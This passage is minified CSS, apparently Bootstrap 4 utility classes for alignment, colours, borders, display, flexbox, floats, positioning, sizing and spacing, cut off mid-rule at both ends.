(prefers-reduced-motion:reduce){.spinner-border,.spinner-grow{-webkit-animation-duration:1.5s;animation-duration:1.5s}}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#0062cc!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#007bff!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded-sm{border-radius:.2rem!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-right{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-lg{border-radius:.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.857143%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:768px){.flex-md-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-md-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-md-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-md-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-md-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-md-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-md-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-lg-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-lg-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-lg-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-lg-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-lg-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-lg-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-xl-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-xl-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-xl-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-xl-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-xl-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-xl-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.user-select-all{-webkit-user-select:all!important;-moz-user-select:all!important;user-select:all!important}.user-select-auto{-webkit-user-select:auto!important;-moz-user-select:auto!important;-ms-user-select:auto!important;user-select:auto!important}.user-select-none{-webkit-user-select:none!important;-moz-user-select:none!important;-ms-user-select:none!important;user-select:none!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.min-vw-100{min-width:100vw!important}.min-vh-100{min-height:100vh!important}.vw-100{width:100vw!important}.vh-100{height:100vh!important}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-n1{margin:-.25rem!important}.mt-n1,.my-n1{margin-top:-.25rem!important}.mr-n1,.mx-n1{margin-right:-.25rem!important}.mb-n1,.my-n1{margin-bottom:-.25rem!important}.ml-n1,.mx-n1{margin-left:-.25rem!important}.m-n2{margin:-.5rem!important}.mt-n2,.my-n2{margin-top:-.5rem!important}.mr-n2,.mx-n2{margin-right:-.5rem!important}.mb-n2,.my-n2{margin-bottom:-.5rem!important}.ml-n2,.mx-n2{margin-left:-.5rem!important}.m-n3{margin:-1rem!important}.mt-n3,.my-n3{margin-top:-1rem!important}.mr-n3,.mx-n3{margin-right:-1rem!important}.mb-n3,.my-n3{margin-bottom:-1rem!important}.ml-n3,.mx-n3{margin-left:-1rem!important}.m-n4{margin:-1.5rem!important}.mt-n4,.my-n4{margin-top:-1.5rem!important}.mr-n4,.mx-n4{margin-right:-1.5rem!important}.mb-n4,.my-n4{margin-bottom:-1.5rem!important}.ml-n4,.mx-n4{margin-left:-1.5rem!important}.m-n5{margin:-3rem!important}.mt-n5,.my-n5{margin-top:-3rem!important}.mr-n5,.mx-n5{margin-right:-3rem!important}.mb-n5,.my-n5{margin-bottom:-3rem!important}.ml-n5,.mx-n5{margin-left:-3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-n1{margin:-.25rem!important}.mt-sm-n1,.my-sm-n1{margin-top:-.25rem!important}.mr-sm-n1,.mx-sm-n1{margin-right:-.25rem!important}.mb-sm-n1,.my-sm-n1{margin-bottom:-.25rem!important}.ml-sm-n1,.mx-sm-n1{margin-left:-.25rem!important}.m-sm-n2{margin:-.5rem!important}.mt-sm-n2,.my-sm-n2{margin-top:-.5rem!important}.mr-sm-n2,.mx-sm-n2{margin-right:-.5rem!important}.mb-sm-n2,.my-sm-n2{margin-bottom:-.5rem!important}.ml-sm-n2,.mx-sm-n2{margin-left:-.5rem!important}.m-sm-n3{margin:-1rem!important}.mt-sm-n3,.my-sm-n3{margin-top:-1rem!important}.mr-sm-n3,.mx-sm-n3{margin-right:-1rem!important}.mb-sm-n3,.my-sm-n3{margin-bottom:-1rem!important}.ml-sm-n3,.mx-sm-n3{margin-left:-1rem!important}.m-sm-n4{margin:-1.5rem!important}.mt-sm-n4,.my-sm-n4{margin-top:-1.5rem!important}.mr-sm-n4,.mx-sm-n4{margin-right:-1.5rem!important}.mb-sm-n4,.my-sm-n4{margin-bottom:-1.5rem!important}.ml-sm-n4,.mx-sm-n4{margin-left:-1.5rem!important}.m-sm-n5{margin:-3rem!important}.mt-sm-n5,.my-sm-n5{margin-top:-3rem!important}.mr-sm-n5,.mx-sm-n5{margin-right:-3rem!important}.mb-sm-n5,.my-sm-n5{margin-bottom:-3rem!important}.ml-sm-n5,.mx-sm-n5{margin-left:-3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media 